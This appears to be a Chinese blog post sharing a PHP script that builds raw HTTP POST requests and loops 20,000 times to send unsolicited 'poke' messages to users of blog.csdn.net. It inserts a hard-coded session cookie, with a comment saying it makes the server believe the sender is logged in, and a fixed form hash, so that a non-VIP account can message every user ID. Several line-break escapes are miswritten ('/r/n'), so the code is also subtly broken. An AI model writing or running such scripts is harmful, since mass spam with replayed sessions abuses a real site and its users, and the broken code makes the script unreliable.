从昨天早上起床忙到今天凌晨,终于把这段程序完成了。 具体程序如下: <?php /** * 模拟POST方式向服务器发送数据 * * @param string $url 服务器地址 * @param array $data 数据 * * @author 363167680@qq.com 永不放弃 * */ function send_post_data($url,$rawdata){ //初始化变量 $header = ""; $data = ""; //分析$url $url = parse_url($url); if(!$url) return "couldn't parse url!"; if(!isset($url['port'])) $port = 80; else $port = $url['port']; if(!isset($url['query'])) $url['query'] = ""; //整理数据部分 while (list($k,$v) = each($rawdata)){ $data .= ($data ? "&" : ""); $data .= rawurlencode($k)."=".rawurlencode($v); } //打开连接 $fp = fsockopen($url['host'],$port,$errno,$errstr); if (!$fp) return "Failed to open socket to $url[host] $port ERROR: $errno - $errstr"; //组织Header部分的数据 $header = "POST ". $url['path']."?".$url['query']." HTTP/1.1/r/n"; $header .= "Host: $url[host]/r/n"; //这里一定要不能出错,我就是因为urlencoded错写为urlencode才耽误了一多半的时间! $header .= "Content-Type: application/x-www-form-urlencoded/r/n"; $header .= "Content-Length: ". strlen($data). "/r/n"; //让服务器相信我是登录状态 $header .= "Cookie: uchome_auth=f984Ow75YSmRJiuDj6pX00jbhEjl8F3fVQeXuFW6K4Q%2BbEEaCvQB0EtSK3ZaJeaZGpLCFOlLRk2gaApuWHvkdSPw%2BD4;uchome_loginuser=adminisidiot/r/n"; $header .= "Cookie2: /$version=/"1/"/r/n"; $header .= "Connection: close/r/n"; $header .= "/r/n"; //Header和Data部分一定要一次写入,不能分开; //Header和Data部门要以 /r/n 作为区分 fputs($fp, $header.$data); $line = fgets($fp, 4096); //关闭连接 fclose($fp); return $line; } for ($index = 0; $index < 20000; $index++) { send_post_data( "http://blog.csdn.net/cp.php?ac=poke&op=reply&uid=".$index, array( "iconid" => 6, "note" => "我不是VIP,但是也可以给你发消息", "refer" => "", "pokesubmit" => "true", "pokesubmit_btn" => "确定", "formhash" => "374a296e") ); } ?>